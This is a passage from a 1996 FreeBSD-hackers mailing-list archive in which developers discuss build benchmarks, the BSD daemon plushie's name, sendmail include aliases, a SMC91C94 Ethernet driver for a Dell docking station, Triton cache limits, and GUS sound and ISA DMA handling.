From owner-freebsd-hackers Sun May 12 00:49:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA03266 for hackers-outgoing; Sun, 12 May 1996 00:49:48 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA03259 for ; Sun, 12 May 1996 00:49:46 -0700 (PDT) Received: from critter.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0uIVuR-0003wRC; Sun, 12 May 96 00:49 PDT Received: from localhost (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.6.12) with SMTP id HAA06848; Sun, 12 May 1996 07:49:38 GMT X-Authentication-Warning: critter.tfs.com: Host localhost [127.0.0.1] didn't use HELO protocol To: "matthew c. mead" cc: hackers@freebsd.org Subject: Re: 6x86 120+ In-reply-to: Your message of "Sun, 12 May 1996 00:50:48 -0400." <199605120450.AAA00407@neon.Glock.COM> Date: Sun, 12 May 1996 07:49:36 +0000 Message-ID: <6846.831887376@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Can we have a number for the FreeBSD-stones ? > > > cd /usr/src > > rm -rf /usr/obj/* > > time make world > > Just about to sup things up to tonight's current and > start. However, I realized that I need a little more information > to give you a fair number. Mount filesystem with -o async? Use > CC="cc -pipe"? I have all of /usr/src and /usr/obj going to a > JAZ drive disk, which is slower than my system disks. Any > instructions you wanna give me to make the number fairer will > help. Basically any trick is allowed, as long as you document it... -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Sun May 12 00:50:01 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA03294 for hackers-outgoing; Sun, 12 May 1996 00:50:01 -0700 (PDT) Received: from diablo.ppp.de (diablo.ppp.de [193.141.101.34]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA03289 Sun, 12 May 1996 00:49:56 -0700 (PDT) Received: from allegro.lemis.de by diablo.ppp.de with smtp (Smail3.1.28.1 #1) id m0uIVua-000QYYC; Sun, 12 May 96 09:49 MET DST From: grog@lemis.de (Greg Lehey) Organisation: LEMIS, Schellnhausen 2, 36325 Feldatal, Germany Phone: +49-6637-919123 Fax: +49-6637-919122 Received: (grog@localhost) by allegro.lemis.de (8.6.9/8.6.9) id JAA29185; Sun, 12 May 1996 09:29:41 +0200 Message-Id: <199605120729.JAA29185@allegro.lemis.de> Subject: Re: A stuffed Daemon plushie (Chuck), anyone? To: jkh@FreeBSD.org Date: Sun, 12 May 1996 09:29:41 +0200 (MET DST) Cc: hackers@FreeBSD.org (FreeBSD Hackers), velte@allegro.lemis.de (Jack Velte) In-Reply-To: <4372.831644970@time.cdrom.com> from "Jordan K. Hubbard" at May 9, 96 05:29:30 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard writes: > > There is, of course, a downside to having the daemon made by the same > German craftsmen who brought you the Porche and the BMW, and that's > that they want a fair bit of money for it! $60, to be exact, which is > indeed pretty high but I suppose that if you really want a stuffed > daemon which will last more than 10 minutes in the hands of a 6 year > old, you gotta pay the price. Pity. I think that's rather more than I'm prepared to pay. > And so, here's the deal. If there are enough of you out there > craz^H^H^H^Hinterested enough in owning a stuffed Chuck Where did this "Chuck" stuff come from? To quote Kirk McKusick: > Date: Fri, 16 Feb 1996 10:33:55 -0800 > From: Kirk McKusick > > A pictorial history of the daemon can be found at > http://www.zilker.net/users/beastie/index.html. Also, > he does not have a name. If he did have a name, it > certainly would not be Chuck! So, please do not > continue this Chuck travesty that Walnut Creek > CD-ROM started in their catalog! Greg From owner-freebsd-hackers Sun May 12 01:19:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA04642 for hackers-outgoing; Sun, 12 May 1996 01:19:12 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id BAA04635 Sun, 12 May 1996 01:19:07 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id BAA21974; Sun, 12 May 1996 01:18:27 -0700 (PDT) To: grog@lemis.de (Greg Lehey) cc: jkh@FreeBSD.org, hackers@FreeBSD.org (FreeBSD Hackers), velte@allegro.lemis.de (Jack Velte) Subject: Re: A stuffed Daemon plushie (Chuck), anyone? In-reply-to: Your message of "Sun, 12 May 1996 09:29:41 +0200." <199605120729.JAA29185@allegro.lemis.de> Date: Sun, 12 May 1996 01:18:26 -0700 Message-ID: <21971.831889106@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Where did this "Chuck" stuff come from? To quote Kirk McKusick: It predates WC's catalog by a fair margin. I've heard the daemon referred to as `Chuck' as early as the late 80's. Yes, Kirk apparently hates it, but it'd be unfair of him to blame WC as the instigators. Sometimes a name just sticks and from whence it came matters not. :-) Jordan From owner-freebsd-hackers Sun May 12 03:21:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA12592 for hackers-outgoing; Sun, 12 May 1996 03:21:06 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA12579 for ; Sun, 12 May 1996 03:21:01 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id MAA29366; Sun, 12 May 1996 12:20:43 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id MAA22404; Sun, 12 May 1996 12:20:43 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id MAA06749; Sun, 12 May 1996 12:19:03 +0200 (MET DST) From: J Wunsch Message-Id: <199605121019.MAA06749@uriah.heep.sax.de> Subject: Re: aliasing problem, help!! To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Sun, 12 May 1996 12:19:02 +0200 (MET DST) Cc: jesus@abaforum.es (Jesus Rodriguez) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605112328.BAA18167@scugat1.abaforum.es> from Jesus Rodriguez at "May 12, 96 01:28:36 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL15 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jesus Rodriguez wrote: > Hi every body. I'm trying to use aliases file for a internal mailing list. i > have an entry like this in my aliases file: > mailing.list: :include:/path/to/file > i execute newaliases but it doesn't work. Sendmail tries to send mail to the > user > :include:/path/to/file@my.domain > > Seems that sendmail can't read the external aliases file. Hmm, it seems to work for me: ... foo: :include:/tmp/foolist uriah # echo bar > /tmp/foolist uriah # newaliases /etc/aliases: 35 aliases, longest 36 bytes, 942 bytes total uriah # telnet 0 smtp Trying 0.0.0.0... Connected to 0. Escape character is '^]'. 220 uriah.heep.sax.de ESMTP Sendmail 8.7.5/8.6.9 ready at Sun, 12 May 1996 12:17:51 +0200 (MET DST) expn foo 550 /tmp/foolist: line 1: bar... User unknown quit 221 uriah.heep.sax.de closing connection Connection closed by foreign host. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun May 12 08:58:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA26955 for hackers-outgoing; Sun, 12 May 1996 08:58:05 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAB26948 for ; Sun, 12 May 1996 08:58:01 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id SAA06142 ; Sat, 11 May 1996 18:11:24 +0100 (BST) To: Warner Losh cc: hackers@FreeBSD.ORG From: "Gary Palmer" Subject: Re: Ext2fs In-reply-to: Your message of "Sat, 11 May 1996 08:24:14 MDT." <199605111424.IAA23760@rover.village.org> Date: Sat, 11 May 1996 18:11:23 +0100 Message-ID: <6140.831834683@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote in message ID <199605111424.IAA23760@rover.village.org>: > I have a couple of questions. Frist, is there a way at compile time > to disambiguate 2.1R and 2.2R? Second, what is "opt_quota.h"? I > can't seem to find it in either tree. Finally, would people be > interested in patches to make it work on -stable? Umm. Not really. The 2.2-current `config' program generates the `opt_*' files to try and get rid of that mess of `-DFOOBAR -DFOOBAZ' options on the cc command line. To the best of my knowledge, there is no easy way to tell if you are being compiled on a -current system or a -stable system. I think some people would be interested in getting it working on -stable, but I can't really say if it should go into -stable or not. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Sun May 12 10:14:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA00694 for hackers-outgoing; Sun, 12 May 1996 10:14:41 -0700 (PDT) Received: from yucca.cs.odu.edu (root@yucca.cs.odu.edu [128.82.4.6]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA00689 for ; Sun, 12 May 1996 10:14:38 -0700 (PDT) Received: from galactica.cs.odu.edu (bowden@galactica.cs.odu.edu [128.82.7.68]) by yucca.cs.odu.edu (8.7.3/8.6.4) with SMTP id NAA07561 for ; Sun, 12 May 1996 13:14:36 -0400 (EDT) Date: Sun, 12 May 1996 13:16:13 -0400 (EDT) From: Jamie Bowden To: hackers@freebsd.org Subject: crypt Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Has anyone fixed the crypt libs? And if so, where can I get them? Jamie I have my finger on the pulse of the planet. From owner-freebsd-hackers Sun May 12 10:37:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA02449 for hackers-outgoing; Sun, 12 May 1996 10:37:02 -0700 (PDT) Received: from Sisyphos (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA02444 for ; Sun, 12 May 1996 10:36:58 -0700 (PDT) Received: by Sisyphos id AA26072 (5.67b/IDA-1.5 for freebsd-hackers@freefall.freebsd.org); Sun, 12 May 1996 19:36:35 +0200 Message-Id: <199605121736.AA26072@Sisyphos> From: se@zpr.uni-koeln.de (Stefan Esser) Date: Sun, 12 May 1996 19:36:35 +0200 In-Reply-To: Bob Willcox "Support for the Dell Docking station ethernet adpt??" (May 11, 19:08) X-Mailer: Mail User's Shell (7.2.6 alpha(2) 7/9/95) To: Bob Willcox Subject: Re: Support for the Dell Docking station ethernet adpt?? Cc: freebsd-hackers@freefall.freebsd.org (freebsd-hackers) Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On May 11, 19:08, Bob Willcox wrote: } Subject: Support for the Dell Docking station ethernet adpt?? } Hi all, } } I just got a Dell XPi-P120ST Notebook computer and their docking } station (aka ``Advanced Port Replicator'') and was hoping FreeBSD } has support for the Ethernet adapter in it. The docs that came Does this docking station offer PCI slots and built in devices ? If this is the case, I might be able to help. } with the docking station say that it has a SMC91C92 chipset. Does } anybody know if FreeBSD has a driver for this? I have booted the } 2.2-960501-SNAP floppy but it doesn't seem to find the adapter. } } Any help would be greatly appreicated (Please...I don't want to be } left trapped in Windows!!) Please send me (as always :) VERBOSE boot messages ... I just bought a PCI NE2000 clone (against better knowledge :-) in order to finally get some cheap PCI Ethernet cards fully supported by PCI plug'n'play (including PCI shared interrupt support), and your card might either be supported by the patches I already worked out, or may be easy to add ... Regards, STefan -- Stefan Esser, Zentrum fuer Paralleles Rechnen Tel: +49 221 4706021 Universitaet zu Koeln, Weyertal 80, 50931 Koeln FAX: +49 221 4705160 ============================================================================== http://www.zpr.uni-koeln.de/~se From owner-freebsd-hackers Sun May 12 11:51:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA07023 for hackers-outgoing; Sun, 12 May 1996 11:51:05 -0700 (PDT) Received: from asstdc.scgt.oz.au (asstdc.scgt.oz.au [202.14.234.65]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA07018 for ; Sun, 12 May 1996 11:51:02 -0700 (PDT) Received: (from imb@localhost) by asstdc.scgt.oz.au (8.7.5/BSD4.4) id EAA03657 Mon, 13 May 1996 04:49:09 +1000 (EST) From: michael butler Message-Id: <199605121849.EAA03657@asstdc.scgt.oz.au> Subject: Re: crypt To: bowden@cs.odu.edu (Jamie Bowden) Date: Mon, 13 May 1996 04:49:09 +1000 (EST) Cc: hackers@FreeBSD.org In-Reply-To: from "Jamie Bowden" at May 12, 96 01:16:13 pm X-Mailer: ELM [version 2.4 PL24beta] Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Jamie Bowden writes: > Has anyone fixed the crypt libs? I wasn't aware that they were broken ? I use them all the time .. michael From owner-freebsd-hackers Sun May 12 12:11:19 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA08228 for hackers-outgoing; Sun, 12 May 1996 12:11:19 -0700 (PDT) Received: from luke.pmr.com (luke.pmr.com [206.224.65.132]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA08222 for ; Sun, 12 May 1996 12:11:16 -0700 (PDT) Received: (from bob@localhost) by luke.pmr.com (8.7.5/8.6.9) id OAA16610; Sun, 12 May 1996 14:10:36 -0500 (CDT) From: Bob Willcox Message-Id: <199605121910.OAA16610@luke.pmr.com> Subject: Re: Support for the Dell Docking station ethernet adpt?? To: se@zpr.uni-koeln.de (Stefan Esser) Date: Sun, 12 May 1996 14:10:36 -0500 (CDT) Cc: freebsd-hackers@freefall.freebsd.org In-Reply-To: <199605121736.AA26072@Sisyphos> from Stefan Esser at "May 12, 96 07:36:35 pm" X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Stefan Esser wrote: > On May 11, 19:08, Bob Willcox wrote: > } Subject: Support for the Dell Docking station ethernet adpt?? > } Hi all, > } > } I just got a Dell XPi-P120ST Notebook computer and their docking > } station (aka ``Advanced Port Replicator'') and was hoping FreeBSD > } has support for the Ethernet adapter in it. The docs that came > > Does this docking station offer PCI slots and built in devices ? > If this is the case, I might be able to help. It comes with two built-in ISA devices. The SCSI adapter is an Adaptec AIC-6360 (already supported by FreeBSD and works! :-) and a SMC91C94 (I may have mis-stated this as a SMC91C92 before) which (apparently) FreeBSD does not have a driver for. I was able to find a Linux driver, though, so I am going to try to build a FreeBSD driver for the chip. > > } with the docking station say that it has a SMC91C92 chipset. Does > } anybody know if FreeBSD has a driver for this? I have booted the > } 2.2-960501-SNAP floppy but it doesn't seem to find the adapter. > } > } Any help would be greatly appreicated (Please...I don't want to be > } left trapped in Windows!!) > > Please send me (as always :) VERBOSE boot messages ... Thanks for the offer. I'll keep it in mind :-) > > I just bought a PCI NE2000 clone (against better knowledge :-) > in order to finally get some cheap PCI Ethernet cards fully > supported by PCI plug'n'play (including PCI shared interrupt > support), and your card might either be supported by the > patches I already worked out, or may be easy to add ... Hmm, I doubt it. This SMC chip family (all the SMC-91Cxxx line) seem pretty unique in their interface. -- Bob Willcox bob@luke.pmr.com Austin, TX From owner-freebsd-hackers Sun May 12 13:42:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA13453 for hackers-outgoing; Sun, 12 May 1996 13:42:29 -0700 (PDT) Received: from neon.Glock.COM (neon.glock.com [198.82.228.159]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id NAA13443 for ; Sun, 12 May 1996 13:42:25 -0700 (PDT) Received: (from mmead@localhost) by neon.Glock.COM (8.7.5/8.7.3) id QAA01594 for hackers@freebsd.org; Sun, 12 May 1996 16:42:23 -0400 (EDT) From: "matthew c. mead" Message-Id: <199605122042.QAA01594@neon.Glock.COM> Subject: Triton chipset with 256k cache caches 32M only? To: hackers@freebsd.org Date: Sun, 12 May 1996 16:42:23 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've got two machine with moderately fast CPUs in them. One is a Cyrix 6x86 120+ (@100Mhz), and the other is a P90 (clocked to 100Mhz). When I have 40M in the machines, the upper 8M is not cached, and my performance is roughly 2/3 of that when they just have 32M and all of the memory is cached. Does anyone know for sure whether or not 256K cache Triton chipsets only cache up to 32M? Anyone know what I can do to get the other 8M cached as well? I'd really like to have that extra 8M in there, but at 2/3 the performance, it aint gonna happen. Any help is greatly appreciated! -matt -- Matthew C. Mead mmead@Glock.COM http://www.Glock.COM/~mmead/ From owner-freebsd-hackers Sun May 12 16:22:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA22804 for hackers-outgoing; Sun, 12 May 1996 16:22:46 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id QAA22798 for ; Sun, 12 May 1996 16:22:41 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id JAA16772 for hackers@freebsd.org; Mon, 13 May 1996 09:01:03 +0930 From: Michael Smith Message-Id: <199605122331.JAA16772@genesis.atrad.adelaide.edu.au> Subject: Re: Support for the Dell Docking station ethernet adpt?? To: hackers@freebsd.org Date: Mon, 13 May 1996 09:01:02 +0930 (CST) In-Reply-To: <199605121736.AA26072@Sisyphos> from "Stefan Esser" at May 12, 96 07:36:35 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Stefan Esser stands accused of saying: > > } with the docking station say that it has a SMC91C92 chipset. Does > } anybody know if FreeBSD has a driver for this? I have booted the > } 2.2-960501-SNAP floppy but it doesn't seem to find the adapter. A driver for this part was submitted a little while back. I don't know if it ever got committed - check the -hackers and -questions lists for the string '91C92' and you should turn up the original author. Or pester David Greenman - I think he has a copy of it. -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun May 12 18:35:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA02537 for hackers-outgoing; Sun, 12 May 1996 18:35:21 -0700 (PDT) Received: from frig.mt.cs.keio.ac.jp (frig.mt.cs.keio.ac.jp [131.113.32.7]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA02531 for ; Sun, 12 May 1996 18:35:16 -0700 (PDT) Received: (from hosokawa@localhost) by frig.mt.cs.keio.ac.jp (8.6.12+2.4W/3.4Wbeta3) id KAA09590; Mon, 13 May 1996 10:34:56 +0900 Date: Mon, 13 May 1996 10:34:56 +0900 Message-Id: <199605130134.KAA09590@frig.mt.cs.keio.ac.jp> To: bob@luke.pmr.com Cc: se@ZPR.Uni-Koeln.DE, freebsd-hackers@freefall.freebsd.org, hosokawa@mt.cs.keio.ac.jp Subject: Re: Support for the Dell Docking station ethernet adpt?? In-Reply-To: Your message of Sun, 12 May 1996 14:10:36 -0500 (CDT). <199605121910.OAA16610@luke.pmr.com> From: hosokawa@mt.cs.keio.ac.jp (HOSOKAWA Tatsumi) X-Mailer: mnews [version 1.18PL3] 1994-08/01(Mon) Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In article <199605121910.OAA16610@luke.pmr.com> bob@luke.pmr.com writes: >> It comes with two built-in ISA devices. The SCSI adapter is an >> Adaptec AIC-6360 (already supported by FreeBSD and works! :-) and >> a SMC91C94 (I may have mis-stated this as a SMC91C92 before) which >> (apparently) FreeBSD does not have a driver for. I was able to >> find a Linux driver, though, so I am going to try to build a FreeBSD >> driver for the chip. PC-card package for FreeBSD has SMC91xx driver support for X-Jack Ethernet. ftp://ryukyu.mt.cs.keio.ac.jp/pub/FreeBSD/pccard/ -- HOSOKAWA, Tatsumi E-mail: hosokawa@mt.cs.keio.ac.jp WWW homepage: http://www.mt.cs.keio.ac.jp/person/hosokawa.html Department of Computer Science, Keio University, Yokohama, Japan From owner-freebsd-hackers Sun May 12 18:48:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA03167 for hackers-outgoing; Sun, 12 May 1996 18:48:09 -0700 (PDT) Received: from post.io.org (post.io.org [198.133.36.6]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id SAA03162 for ; Sun, 12 May 1996 18:48:07 -0700 (PDT) Received: from zot.io.org (taob@zot.io.org [198.133.36.82]) by post.io.org (8.7.5/8.7.3) with SMTP id VAA02015; Sun, 12 May 1996 21:48:39 -0400 (EDT) Date: Sun, 12 May 1996 21:46:07 -0400 (EDT) From: Brian Tao To: Don Yuniskis cc: FreeBSD hackers Subject: Re: GUS MAX on 2.1R In-Reply-To: <199605100427.VAA02550@seagull.rtd.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 9 May 1996, Don Yuniskis wrote: > > How do the irq and drq settings for the device correspond with the DOS > settings -- of which there are quite a few "extras"? Hmmmm... I don't recall having to jump through any hoops to get my GUS MAX working under 2.1R. Just two lines in my config file: controller snd0 device gus0 at isa? port 0x220 irq 12 drq 1 vector gusintr This is what I get during the device probe: gus0 at 0x220 irq 12 drq 1 on isa gus0: gus0: The port address on the card itself is set to 0x220, and I think the OS can set the IRQ/DRQ (at least the DOS drivers seem to be able to). s3mod and xanim both work beautifully with the GUS MAX. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-hackers Sun May 12 18:53:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA03308 for hackers-outgoing; Sun, 12 May 1996 18:53:23 -0700 (PDT) Received: from mimsy.cdrom.com (mimsy.cdrom.com [204.216.28.173]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA03303 Sun, 12 May 1996 18:53:21 -0700 (PDT) Received: from localhost.cdrom.com (localhost.cdrom.com [127.0.0.1]) by mimsy.cdrom.com (8.6.12/8.6.9) with SMTP id SAA00235; Sun, 12 May 1996 18:53:15 -0700 X-Authentication-Warning: mimsy.cdrom.com: Host localhost.cdrom.com didn't use HELO protocol To: "Jordan K. Hubbard" cc: grog@lemis.de (Greg Lehey), jkh@FreeBSD.org, hackers@FreeBSD.org (FreeBSD Hackers), velte@allegro.lemis.de (Jack Velte), velte@mimsy.cdrom.com Subject: Re: A stuffed Daemon plushie (Chuck), anyone? In-reply-to: Your message of "Sun, 12 May 1996 01:18:26 PDT." <21971.831889106@time.cdrom.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <231.831952395.1@mimsy.cdrom.com> Date: Sun, 12 May 1996 18:53:15 -0700 Message-ID: <233.831952395@mimsy.cdrom.com> From: Jack Velte Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk "Jordan K. Hubbard" said... >> Where did this "Chuck" stuff come from? To quote Kirk McKusick: > >It predates WC's catalog by a fair margin. I've heard the daemon i do not think we call chuck by name in the catalog. -jack From owner-freebsd-hackers Sun May 12 19:13:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA04026 for hackers-outgoing; Sun, 12 May 1996 19:13:28 -0700 (PDT) Received: from luke.pmr.com (luke.pmr.com [206.224.65.132]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA04008 for ; Sun, 12 May 1996 19:13:22 -0700 (PDT) Received: (from bob@localhost) by luke.pmr.com (8.7.5/8.6.9) id VAA17857 for freebsd-hackers@freefall.cdrom.com; Sun, 12 May 1996 21:13:29 -0500 (CDT) From: Bob Willcox Message-Id: <199605130213.VAA17857@luke.pmr.com> Subject: Re: Support for the Dell Docking station ethernet adpt?? To: j_orthoefer@tia.net (Joseph D. Orthoefer) Date: Sun, 12 May 1996 21:12:57 -0500 (CDT) In-Reply-To: from "Joseph D. Orthoefer" at "May 12, 96 04:59:33 pm" X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Joseph D. Orthoefer wrote: > I got this driver from Mr. Gardner, though haven't actually tested it > yet. Hope this is self explainitory... I have it running on my Dell notebook (actually the docking station) ok. It does seem to support the SMC91C94 fine (so far). Thanks a bunch for sending it. Do you know if Mr. Gardner plans on getting it added to the FreeBSD release? (I would certainly support that). Thanks again, Bob > ... uuencoded tar file of SMC91Cxxx driver snipped ... -- Bob Willcox bob@luke.pmr.com Austin, TX From owner-freebsd-hackers Sun May 12 20:20:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA08511 for hackers-outgoing; Sun, 12 May 1996 20:20:55 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id UAA08501 Sun, 12 May 1996 20:20:51 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.6.12/8.6.12) with ESMTP id UAA10431; Sun, 12 May 1996 20:20:30 -0700 Message-Id: <199605130320.UAA10431@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: Sujal Patel cc: multimedia@freebsd.org, hackers@freebsd.org Subject: Re: snd in -current, vmix, misc In-reply-to: Your message of "Sun, 12 May 1996 23:04:48 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 12 May 1996 20:20:29 -0700 From: "Amancio Hasty Jr." Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On Sun, 12 May 1996, Amancio Hasty Jr. wrote: > > > Care to enlighten us how we can tell isa.c that the dma > > is completed when we use isa_dmastart and auto dma initialize? > > Oops... Sorry, didn't realize that you've got auto dma here. This is a > problem (there's actually a note about this in isa.c). The ad1848 driver > solves this by calling isa_dmadone when an interrupt occurs. I guess with > the GUS, the interrupt doesn't fall through all the layers it should to > trigger this? > > > Sujal > Oh, I can call isa_dmadone however I think is a waste unless we intent to shared dma channels and even then it makes no sense. I wonder what the engineer who decided that we shall call isa_dmadone after we get a dma interrupt after a call to isa_dmastart had in mind?? Tnks, Amancio From owner-freebsd-hackers Sun May 12 20:26:31 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA08956 for hackers-outgoing; Sun, 12 May 1996 20:26:31 -0700 (PDT) Received: from xi.dorm.umd.edu (root@xi.dorm.umd.edu [129.2.152.45]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA08937 for ; Sun, 12 May 1996 20:26:28 -0700 (PDT) Received: from localhost (smpatel@localhost [127.0.0.1]) by xi.dorm.umd.edu (8.7.5/8.6.12) with SMTP id XAA07216; Sun, 12 May 1996 23:26:15 -0400 (EDT) Date: Sun, 12 May 1996 23:26:14 -0400 (EDT) From: Sujal Patel X-Sender: smpatel@xi.dorm.umd.edu To: "Amancio Hasty Jr." cc: hackers@freebsd.org Subject: Re: snd in -current, vmix, misc In-Reply-To: <199605130320.UAA10431@rah.star-gate.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 12 May 1996, Amancio Hasty Jr. wrote: > Oh, I can call isa_dmadone however I think is a waste unless we intent > to shared dma channels and even then it makes no sense. I wonder > what the engineer who decided that we shall call isa_dmadone > after we get a dma 